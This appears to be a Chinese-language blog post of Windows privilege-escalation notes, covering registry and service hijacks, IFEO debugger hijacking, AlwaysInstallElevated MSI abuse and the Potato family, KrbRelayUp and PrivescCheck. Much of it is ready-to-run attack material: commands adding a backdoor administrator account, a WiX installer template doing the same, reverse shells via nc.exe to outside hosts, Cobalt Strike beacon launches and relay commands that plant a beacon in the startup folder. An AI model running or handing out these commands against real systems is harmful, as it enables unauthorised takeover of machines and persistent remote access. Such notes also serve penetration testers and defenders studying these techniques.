windows提权笔记

注册表提权

服务注册表权限配置错误

如果低权限用户对某些系统服务的注册表项拥有写入权限,可以通过篡改服务的可执行文件路径来执行恶意代码

比如

1
2
3
4
5
6
7
8
9
10
Name              : gupdate
ImagePath : "C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /svc
User : LocalSystem
ModifiablePath : HKLM\SYSTEM\CurrentControlSet\Services\gupdate
IdentityReference : BUILTIN\Users
Permissions : WriteDAC, Notify, ReadControl, CreateLink, EnumerateSubKeys, WriteOwner, Delete, CreateSubKey, SetV
alue, QueryValue
Status : Stopped
UserCanStart : True
UserCanStop : True

普通用户可能修改 gupdate 服务的配置,而服务启动时又以 LocalSystem 身份运行

1
2
3
4
5
# 修改注册表为自己构造的恶意程序
reg add "HKLM\SYSTEM\CurrentControlSet\Services\gupdate" /t REG_EXPAND_SZ /v ImagePath /d "evil.exe" /f

# 启动 gupdate 服务
sc start gupdate

映像劫持(hijack Image)与上面的姿势差不多,只不过是使用了windows的一个特性

在用户尚未登录系统时,以下这些程序在登录/锁屏界面会以 SYSTEM 上下文启动,因此如果有权限更改替换的话就可以达到提升权限的目的

1
2
3
4
5
6
7
粘滞键: C:\Windows\System32\Sethc.exe
屏幕键盘: C:\Windows\System32\osk.exe
放大镜: C:\Windows\System32\Magnify.exe
旁白: C:\Windows\System32\Narrator.exe
显示切换器 C:\Windows\System32\DisplaySwitch.exe
应用切换器: C:\Windows\System32\AtBroker.exe
Windows + U: C:\Windows\System32\utilman.exe

查看注册表权限

1
get-acl -path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | fl *

注意看AccessToString字段,有权限修改

替换为 C:\windows\system32\cmd.exe

1
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

再次在登录/锁屏界面调用放大镜时就会弹出cmd窗口

AlwaysInstallElevated 策略滥用

AlwaysInstallElevated 是一个组策略配置,如果启用,那么将允许普通用户以 SYSTEM 权限运行安装文件(msi)

需要修改计算机配置和用户配置下的两个组策略

或使用cmd命令

1
2
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1

利用

测试是否启用 AlwaysInstallElevated,返回 True 代表开启

1
powershell -exec bypass "import-module .\powerup.ps1;Get-RegistryAlwaysInstallElevated"

生成 msi 文件

1
powershell -exec bypass "import-module .\powerup.ps1;Write-UserAddMSI"

以普通用户身份运行此msi文件

1
msiexec.exe /quiet /qn /i UserAdd.msi

运行后会弹出一个添加用户的小窗口,设置用户名,密码,组即可

如果输出 .net 版本问题,也可以选择手动生成 msi 文件

wix 来将包含二进制文件或者任意命令的 模板 进行打包然后安装

模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
<Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="23e23deeqwddeweqwde" Version="0.0.1" Manufacturer="Test1" Language="1033">
<Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package" />
<Media Id='1' />
<Directory Id="TARGETDIR" Name="SourceDir">
<Directory Id="ProgramFilesFolder">
<Directory Id="INSTALLLOCATION" Name="Example">
<Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222" KeyPath="yes"></Component>
</Directory>
</Directory>
</Directory>
<Feature Id="DefaultFeature" Level="1">
<ComponentRef Id="ApplicationFiles" />
</Feature>

<CustomAction
Id="Shell"
Execute="deferred"
Directory="TARGETDIR"
Impersonate="no"
ExeCommand="net user hack Passw0rd /add"
Return="check"
/>

<CustomAction
Id="Shell2"
Execute="deferred"
Directory="TARGETDIR"
Impersonate="no"
ExeCommand="net localgroup administrators hack /add"
Return="check"
/>

<InstallExecuteSequence>
<Custom Action="Shell" After="InstallFiles"></Custom>
<Custom Action="Shell2" After="Shell"></Custom>
</InstallExecuteSequence>
</Product>
</Wix>

打包成 .msi 文件

1
2
3
4
5
6
7
8
9
C:\Users\dr0n1\Desktop>candle user.wxs
Windows Installer XML Toolset Compiler version 3.14.1.8722
Copyright (c) .NET Foundation and contributors. All rights reserved.

user.wxs

C:\Users\dr0n1\Desktop>light user.wixobj
Windows Installer XML Toolset Linker version 3.14.1.8722
Copyright (c) .NET Foundation and contributors. All rights reserved.

运行

需要注意某些环境需要签名才允许安装

如果输出的是 系统管理员设置了系统策略,禁止进行此安装,可以尝试运行 reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer" /v DisableMSI /t REG_DWORD /d 0 /f

UAC 注册表劫持绕过

利用特定受信任系统组件的 AutoElevate 属性,通过修改注册表(如 HKCU\Software\Classes\ms-settings\shell\open\command)来劫持其执行参数。当触发如 eventvwr.exe 等系统操作时,高权限进程会执行被篡改的恶意程序。

工具类

土豆家族

原理可以与域渗透学习(NTLM篇)的内容结合起来看

一般使用 Potato 提权需要下列两个特权中的一个

  • SeImpersonatePrivilege
  • SeAssignPrimaryTokenPrivilege

以下用户拥有SeImpersonatePrivilege权限,而 SeAssignPrimaryTokenPrivilege 只有更高权限的账户比如SYSTEM才有

1
2
3
4
5
- 本地管理员账户(不包括管理员组普通账户)和本地服务帐户
- 由SCM启动的服务
- Local System (NT AUTHORITY\SYSTEM)
- Network Service (NT AUTHORITY\Network Service)
- Local Service (NT AUTHORITY\Local Service)

也就是说平时通过服务(IIS,mssql等)拿下的账户在操作时是一个低权限账户,但是可以通过这个提权方式获得 SYSTEM 权限

Hot Potato(MS16-075)

https://github.com/foxglovesec/Potato
PowerShell 实现:https://github.com/Kevin-Robertson/Tater

原理

原理是利用 NBNS 欺骗、WPAD 代理劫持 和 HTTP→SMB NTLM 中继 实现权限提升,最终以 NT AUTHORITY\SYSTEM 权限执行任意命令

  1. NBNS 欺骗

    • 当系统无法通过 hosts 文件或 DNS 解析域名时,会在本地网络广播 NBNS 查询请求
    • 攻击者伪造 NBNS 响应,将 wpad 主机名指向 127.0.0.1,并通过暴力枚举 TXID(65536 种可能)实现匹配
    • 若系统已有 DNS 缓存记录,可以通过 耗尽 UDP 端口(令每个端口失效)迫使 DNS 查询失败,从而回退到 NBNS
  2. 伪造 WPAD 代理服务器

    • Windows(IE 及部分系统服务,如 Windows Update)默认会尝试访问 http://wpad/wpad.dat 获取 PAC 代理配置
    • 在本地 127.0.0.1 运行 HTTP 服务器并返回恶意 PAC:
    • 该配置将目标上的 HTTP 流量强制经由本地代理(127.0.0.1)
1
2
3
4
function FindProxyForURL(url, host) {
if (dnsDomainIs(host, "localhost")) return "DIRECT";
return "PROXY 127.0.0.1:80";
}
  1. HTTP → SMB NTLM 中继
    • 控制的本地 HTTP 服务器对特定 URL(如http://localhost/GETHASHESxxxxx)返回 401,触发 NTLM 认证
    • 捕获到的 NTLM 凭据被 中继 到本地 SMB 服务,从而创建高权限的系统服务并执行用户定义命令
    • 当发起请求的是高权限(如 windows update 以 SYSTEM 权限运行)时,就完成了提权

利用

Win7 利用 - Windows Defender 更新机制

1
2
3
Potato.exe -ip <local ip> -cmd <command to run> -disable_exhaust true

Potato.exe -ip 192.168.100.177 -cmd "C:\\Windows\\System32\\cmd.exe /k net user test test /add && net localgroup administrators test /add" -disable_exhaust true

Win Server 2008 利用 - Windows Update 机制

1
Potato.exe -ip <local ip> -cmd <command to run> -disable_exhaust true -disable_defender true --spoof_host WPAD.EMC.LOCAL

Windows 8/10/Server 2012 - 自动更新机制,该机会每天下载证书信任列表(CTL)

1
2
3
Potato.exe -ip <local ip> -cmd <cmd to run> -disable_exhaust true -disable_defender true

Potato.exe -ip 192.168.100.150 -cmd "C:\\Windows\\System32\\cmd.exe /k net user test test /add" -disable_exhaust true -disable_defender true

如果网络中已存在 WPAD 的 DNS 条目,可以尝试设置 -disable_exhaust false,这会导致 DNS 查找失败,并回退到 NBNS

Rotten Potato

https://github.com/foxglovesec/RottenPotato
https://github.com/breenmachine/RottenPotatoNG

Rotten Potato 允许攻击者在具备 SeImpersonatePrivilege 权限的情况下,从服务账户提权到 NT AUTHORITY\SYSTEM。与 Hot Potato 相比,它更加可靠、即时触发,并且不依赖 NBNS 或 WPAD 等网络欺骗手段

攻击流程

  1. 诱使 SYSTEM 账户进行 NTLM 身份验证,通过特定 COM 调用,让 SYSTEM 账户向攻击者控制的本地 TCP 端口发起 NTLM 认证
  2. 中继 NTLM 身份验证至本地 RPC,充当中间人,将 SYSTEM 发起的认证过程与本地 API 调用关联,从而生成 SYSTEM 令牌
  3. 模拟 SYSTEM 身份,调用 ImpersonateSecurityContext 使用获取的令牌,执行提权操作

实现细节

  1. 使用 CoGetInstanceFromIStorage 触发 DCOM 认证

Rotten Potato 通过调用 CoGetInstanceFromIStorage API 触发 DCOM 请求。示例代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public static void BootstrapComMarshal()
{
IStorage stg = ComUtils.CreateStorage();

// 使用已知的本地系统服务 COM 服务器,这里以 BITSv1 为例
Guid clsid = new Guid("4991d34b-80a1-4291-83b6-3328366b9097");

// 指定目标 IP 和端口,这里为本地监听 6666
TestClass c = new TestClass(stg, String.Format("{0}[{1}]", "127.0.0.1", 6666));

MULTI_QI[] qis = new MULTI_QI[1];
qis[0].pIID = ComUtils.IID_IUnknownPtr;
qis[0].pItf = null;
qis[0].hr = 0;

CoGetInstanceFromIStorage(null, ref clsid, null, CLSCTX.CLSCTX_LOCAL_SERVER, c, 1, qis);
}

此调用会让 COM 尝试从 127.0.0.1:6666 加载对象。由于 DCOM 使用 RPC 协议通信,攻击者在 6666 端口上运行代理程序,接收并转发数据包至本地 RPC 监听端口 135

  1. 中继 RPC 数据包

攻击者充当”中间人”角色:

  • 将 COM 发送到 6666 端口的请求转发到 135 端口
  • 将 RPC 返回的数据作为模板,响应给 COM
  • 通过这种方式避免了复杂的协议重构,并确保在不同 Windows 版本下兼容

在 NTLM 认证开始之前,这些数据包主要用于建立 RPC 会话

  1. NTLM 认证流程
  • Type 1 (Negotiate):客户端(SYSTEM 账户)发起认证请求
  • Type 2 (Challenge):服务端(攻击者代理)返回 Challenge 数据,此时必须修改数据包中的 NTLM Blob,尤其是”Server Challenge”和”Reserved”字段,以匹配通过 AcceptSecurityContext API 调用生成的值(如果不修改,后续认证会失败,因为系统会认为这是 RPC 而非攻击者代理)
  • Type 3 (Authenticate):客户端返回认证数据(此处通常为空),随后攻击者完成本地安全上下文建立

利用

原作者的实现基于meterpreter shell

Rotten Potato - IIS Privilege Escalation
Rotten Potato - MSSQL Privilege Escalation

或者使用上面贴出来的NG版本,不过需要修改 MSFRottenPotato.cpp 文件并重新编译,默认运行后弹出一个 cmd.exe

Lonely Potato 是 Rotten Potato 的改编 webshell 版,不依赖 meterpreter 和 incognito 模块,不过现在已被弃用

Juicy Potato

https://github.com/ohpe/juicy-potato

Juicy Potato 是 Rotten Potato 的改进和增强版,二者都利用了 Windows COM/DCOM 与 RPC 机制进行提权,但 Juicy Potato 针对 Rotten Potato 的局限性进行了突破,使利用方式更加灵活与通用

局限

Rotten Potato 的核心思路是利用 BITS (Background Intelligent Transfer Service) 作为 COM 对象触发高权限 NTLM 认证,再通过本地 relay 实现提权,但它存在两个主要限制:

  1. 依赖单一 CLSID:只能使用 BITS {4991d34b-80a1-4291-83b6-3328366b9097} ,一旦被禁用即失效
  2. 端口固定:Poc 依赖端口 6666,在端口被占用或被安全策略限制时无法利用

改进

Juicy Potato 在 Rotten Potato 的基础上做了两个关键改进:

  1. 支持任意 CLSID

    • 不再局限于 BITS,攻击者可以选择任意满足条件的 COM 对象:
      • 可由当前用户实例化(具备模拟权限的服务用户)
      • 实现 IMarshal 接口
      • 在高权限账户(SYSTEM、Administrator)下运行
    • 研究者整理了可利用的 CLSID 列表:CLSID 列表
  2. 可自定义监听端口

    • 不再固定为 6666,攻击者可指定任意端口,提高了利用灵活性与成功率

利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
T:\>JuicyPotato.exe
JuicyPotato v0.1

必选参数:
-t 指定创建进程时使用的 API 调用方式: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: 指定要运行的程序路径
-l <port>: COM 服务器监听的本地端口,用于接收高权限服务的 RPC 请求


可选参数:
-m <ip>: COM 服务器监听的 IP 地址 (default 127.0.0.1)
-a <argument>: 传递给 -p 指定程序的参数 (default NULL)
-k <ip>: RPC 服务器的目标 IP 地址 (default 127.0.0.1)
-n <port>: RPC 服务器的端口 (default 135)
-c <{clsid}>: 指定要利用的 COM 对象 CLSID (default BITS:{4991d34b-80a1-4291-83b6-3328366b9097})
-z 仅用于测试 CLSID,打印获得的 token 所属用户,但不执行命令
1
2
# 2012 上线cs
JuicyPotato.exe -l 1337 -p "C:\Users\Public\beacon.exe" -t * -c {8BC3F05E-D86B-11D0-A075-00C04FB68820}

批量调用 Juicy Potato,遍历 CLSID,打印获得的 token 所属用户

1
2
3
4
5
6
7
8
9
10
11
12
@echo off
:: Starting port, you can change it
set /a port=10000
SETLOCAL ENABLEDELAYEDEXPANSION

FOR /F %%i IN (CLSID.list) DO (
echo %%i !port!
juicypotato.exe -z -l !port! -c %%i >> result.log
set RET=!ERRORLEVEL!
:: echo !RET!
if "!RET!" == "1" set /a port=port+1
)

Ghost Potato

https://github.com/Ridter/GhostPotato

Ghost Potato (CVE-2019-1384) 利用 NTLM 缓存机制绕过 MS08-068,重新实现本地 NTLM 反射

原理

MS08-068/MS09-13 补丁通过在 InitializeSecurityContext 调用时指定 pszTargetName 来引入 Challenge 缓存,以防止反射
Ghost Potato 的核心是利用缓存过期(300 秒)与触发缓存清理逻辑的时机,延迟发送 Type3,达到绕过效果

  1. 主机 A 访问主机 B 时发起 SMB 认证,pszTargetName 设置为 cifs/B,在 Type2 阶段,主机 A 接收到 B 的 Challenge 并缓存 (Challenge, cifs/B) 至 LSASS
  2. 主机 B 在收到主机 A 的 Type3 后,会检查 LSASS 缓存中是否存在 (Challenge, cifs/B)。若存在,认证失败
  3. 如果 A 与 B 是同一主机,则缓存必然存在,导致认证失败。若为不同主机,则缓存不存在,认证可能成功
  4. 该缓存 300 秒后自动失效。攻击者只需等待 300 秒后再发送 Type3,即可绕过检查完成反射

利用

修改版 ntlmrelayx.py 实现了 Ghost Potato 攻击:
https://shenaniganslabs.io/files/impacket-ghostpotato.zip

1
2
cd impacket-ghostpotato/examples
python3 ntlmrelayx.py -t smb://192.168.100.150 -smb2support --gpotato-startup /root/test/beacon.exe

Responder配合监听

1
responder -I eth0 --lm

使用ie访问触发,经过 315 秒后 beacon.exe 会自动上传文件到 Windows 启动目录

PrintSpoofer (PipePotato or BadPotato)

https://github.com/itm4n/PrintSpoofer

PrintSpoofer 最早在 2020 年 5 月由国外研究员公开,其原理利用打印服务进程 spoolsv.exe 的 RPC 接口进行提权。后续,360 的论文将其称为 PipePotato,而 GitHub 上的国人 POC 则叫 BadPotato

原理

Windows 打印服务(Print Spooler)通过命名管道 \\.\pipe\spoolss 对外提供 RPC 接口,默认启用
其中关键函数为:

1
2
3
4
5
6
7
DWORD RpcRemoteFindFirstPrinterChangeNotificationEx(
/* [in] */ PRINTER_HANDLE hPrinter,
/* [in] */ DWORD fdwFlags,
/* [in] */ DWORD fdwOptions,
/* [unique][string][in] */ wchar_t *pszLocalMachine,
/* [in] */ DWORD dwPrinterLocal,
/* [unique][in] */ RPC_V2_NOTIFY_OPTIONS *pOptions)

其中 pszLocalMachine 参数需要传入 UNC 路径(如 \\目标主机\…)

当传入 \\127.0.0.1 时,服务会访问 \\127.0.0.1\pipe\spoolss,但该管道已由 SYSTEM 注册
当传入 \\127.0.0.1\pipe 时,则会触发路径检查报错
若传入 \\127.0.0.1/pipe/foo,路径检查会将 127.0.0.1/pipe/foo 视为主机名

在实际连接时,Windows 会将 / 转换为 \,最终拼接路径为:\\127.0.0.1\pipe\foo\pipe\spoolss
攻击者就可以注册这个 named pipe 从而窃取 client 的 token

利用

在 Windows 10 和 Server 2016/2019 上利用

1.生成一个交互式的shell

1
2
3
4
5
6
7
8
9
C:\TOOLS>PrintSpoofer.exe -i -c cmd
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.19613.1000]
(c) 2020 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
nt authority\system

2.生成system的进程并退出

适用于执行cs的马或者反弹shell的命令

1
2
3
4
C:\TOOLS>PrintSpoofer.exe -c "C:\TOOLS\nc.exe 10.10.13.37 1337 -e cmd"
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
1
2
3
4
5
6
C:\TOOLS>nc.exe -l -p 1337
Microsoft Windows [Version 10.0.19613.1000]
(c) 2020 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
nt authority\system

3.在桌面上生成system进程

1
2
3
4
5
6
7
8
9
10
11
C:\TOOLS>qwinsta
SESSIONNAME USERNAME ID STATE TYPE DEVICE
services 0 Disc
console Administrator 1 Active
>rdp-tcp#3 lab-user 3 Active
rdp-tcp 65536 Listen

C:\TOOLS>PrintSpoofer.exe -d 3 -c "powershell -ep bypass"
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK

RoguePotato

https://github.com/antonioCoco/RoguePotato

RoguePotato 可以看作是 Rotten / Juicy 的绕过,同时也借鉴了 PrintSpoofer 中的命名管道绕过方式

微软修补后,高版本 Windows DCOM 解析器不允许 OBJREF 中的 DUALSTRINGARRAY 字段指定端口号。为了绕过这个限制并能做本地令牌协商,作者在一台远程主机上的 135 端口做流量转发,将其转回受害者本机端口,并写了一个恶意 RPC OXID 解析器

RPC 协议支持

根据 MS-RPCE 文档,常见 RPC 协议如下:

Transport Protocol sequence string
SMB ncacn_np
TCP/IP (IPv4/IPv6) ncacn_ip_tcp
UDP ncadg_ip_udp
SPX ncacn_spx
IPX ncadg_ipx
NetBIOS over IPX ncacn_nb_ipx
NetBIOS over TCP ncacn_nb_tcp
NetBIOS over NetBEUI ncacn_nb_nb
AppleTalk ncacn_at_dsp
RPC over HTTP ncacn_http

原理

在最初的尝试中,研究者选择了 TCP 协议 (ncacn_ip_tcp)。恶意 OXID Resolver 在 ResolveOxid2 响应中返回 ncacn_ip_tcp:localhost[9998],这样可以触发对本地 RPC 服务器 (IRemUnknown2) 的认证请求。不过,这种方式拿到的仅仅是一个 Identification Token,并不能用来完成提权,因此利用价值有限

随后,研究者借鉴 PrintSpoofer 的思路,尝试通过命名管道 (ncacn_np) 进行利用。如果直接使用 ncacn_np:localhost[\pipe\roguepotato],协议会强制重定向到 epmapper 管道,这样无法达到攻击目的。幸运的是,PrintSpoofer 的研究揭示了命名管道路径校验存在绕过方法:只需在主机名中插入一个 /,路径就会被解析为子目录

因此,构造了如下结构:

1
ncacn_np:localhost/pipe/roguepotato[\pipe\epmapper]

这样一来,rpcss 会尝试连接一个并不存在的管道:

1
\\.\pipe\roguepotato\pipe\epmapper

攻击者只需在该管道上进行监听,就能调用 RpcImpersonateClient,成功获取 NETWORK SERVICE Token。更进一步,由于 rpcssRpcEptMapper 服务共享进程空间,攻击者还能够窃取其中的 SYSTEM Token,从而实现最终的权限提升

利用

远程计算机上建立端口转发并监听

1
2
3
socat tcp-listen:135,reuseaddr,fork tcp:192.168.100.126:9999

nc -lvvnp 3001

指定远程计算机并执行反弹shell

1
RoguePotato.exe -r 192.168.100.173 -e "C:\Users\Public\nc64.exe 192.168.100.173 3001 -e cmd.exe" -l 9999 -c {B91D5831-B1BD-4608-8198-D72E155020F7}

SweetPotato

https://github.com/CCob/SweetPotato
https://github.com/uknowsec/SweetPotato

SweetPotato 集成了多种触发 NTLM 认证的方式(COM、WinRM、Spoolsv),相当于 JuicyPotato / PrintSpoofer 的集合版,可用于 Windows 7 至 Windows 10 / Windows Server 2019 的提权

原理

在 Windows 10 1909 测试中,发现 BITS 服务启动时会尝试向本地 WinRM(5985 端口)发起 NTLM 认证,即使系统默认禁用了 WinRM
监听本机 5985 端口可捕获到 NTLM Negotiate 消息,表明 BITS 以 SYSTEM 身份发起认证。

利用思路:通过实现一个伪造的 WinRM 服务端完成 NTLM 的三个Type认证流程,完成后即可通过 AcceptSecurityContext() 与 QuerySecurityContextToken() 获取 SYSTEM Token,并利用 CreateProcessWithTokenW() 或 CreateProcessAsUser() 提升权限

BITS 触发方式

无需复杂的 IStorageInterface 伪造,仅需调用 COM 接口触发 BITS:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
bool triggerBits(void) {
bool status = false;
HRESULT result = -1;
CLSID clsid;
IUnknown* unknown1 = NULL;
CoInitialize(nullptr);
CLSIDFromString(OLESTR("{4991d34b-80a1-4291-83b6-3328366b9097}"), &clsid);
result = CoCreateInstance(clsid, NULL, CLSCTX_LOCAL_SERVER, IID_IUnknown, (void**)&unknown1);
if (result == S_OK) {
status = true;
unknown1->Release();
} else {
printf("CoCreateInstance failed with error 0x%x\n", result);
status = false;
}
CoUninitialize();
return status;
}

注意:调用 Release() 至关重要,否则对象引用计数不减少,BITS 服务无法在超时后退出

限制条件

  • WinRM 必须 禁用(Windows 10 默认禁用,但 Windows Server 默认启用)
  • 需要 Impersonation Privilege(常见于服务账户)
  • BITS 必须未运行(否则需等待当前任务结束)
  • 在部分版本中,BITS 可能尝试访问端口 47001 而非 5985

利用

KrbRelayUp

KrbRelayUp 是一款针对域环境下提权的一体化利用工具。其可以直接通过中继 Kerberos 实现本地提权。

要成功使用 KrbRelayUp 进行提权,通常需要 LDAP 无签名(默认未启用),且无需拥有特殊权限或管理员身份,因为 AD 默认允许普通用户创建计算机账户(ms-DS-MachineAccountQuota = 10)

工作原理:

  1. 工具会在本地启动一个监听服务,并诱导或强制本地的高权限系统服务(如以 SYSTEM 权限运行的服务)向该监听端口发起 Kerberos 身份验证。
  2. 工具拦截这些高权限的 Kerberos 认证凭据,并将其 中继(Relay) 到域控制器的 LDAP 服务上。
  3. 借助中继过来的 SYSTEM 权限,攻击者可以在域控上执行高权限操作(例如创建特定的机器账户、配置资源约束委派等),最终在本地主机上获取 SYSTEM 权限或实现域管级别的权限提升。

基于 RBCD 的用法

FULL 模式

1
2
3
4
5
6
KrbRelayUp.exe full -Domain xxx.com --CreateNewComputerAccount --ComputerName dr0n1$ --ComputerPassword passw@rd123

// -Domain:计算机所在的域名
// --CreateNewComputerAccount:创建一个新的计算机账户
// --ComputerName:计算机帐户名称
// --ComputerPassword:计算机帐户密码

RELAY + SPAWN 模式

1
2
KrbRelayUp.exe relay --domain xxx.com --CreateNewComputerAccount --ComputerName dr0n1$  --ComputerPassword passw@rd123
KrbRelayUp.exe spawn -m rbcd -d xxx.com -dc aa.xxx.com -cn dr0n1$ -cp passw@rd123

命令最终会 new system shell 弹出一个窗口,如果没有图形界面可以用 –sc 选项。该 –sc <bin_path> 选项允许您指定要以系统身份运行的二进制文件(反向 shell 或 beacon)的路径,而不是使用 cmd.exe 运行

使用 KrbRelayUp 封装前的原始工具(KrbRelay、Rubeus等)进行手动攻击的一篇文章:KrbRelay with RBCD Privilege Escalation HOWTO


基于 Shadow Credentials 的用法

1
KrbRelayUp.exe full -m shadowcred --ForceShadowCred

基于 ADCS 的用法

1
KrbRelayUp.exe full -m adcs

PrivescCheck

PrivescCheck 是一款用 PowerShell 编写的 Windows 本地提权检查与安全审计工具。它会自动枚举 Windows 主机上的配置、权限和潜在漏洞,帮助判断:当前低权限账户是否存在提升到管理员或 SYSTEM 权限的途径

1
2
3
4
5
6
7
8
# 仅运行基本检查
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"

# 运行扩展检查 + 生成易于理解的报告
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended -Audit -Report PrivescCheck_$($env:COMPUTERNAME) -Format TXT,HTML,CSV,XML"

# 运行所有检查 + 生成所有报告
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended -Audit -Report PrivescCheck_$($env:COMPUTERNAME) -Format TXT,HTML,CSV,XML"

参考文章

Potato家族本地提权细节
Potato 家族提权学习
内网渗透 – NTLM 反射分析及土豆家族
Rotten Potato – Privilege Escalation from Service Accounts to SYSTEM
We thought they were potatoes but they were beans (from Service Account to SYSTEM again)
From unprivileged user to system - KrbRelayUp


windows提权笔记
https://www.dr0n.top/posts/a04618bd/
作者
dr0n
发布于
2024年10月11日
更新于
2026年7月21日
许可协议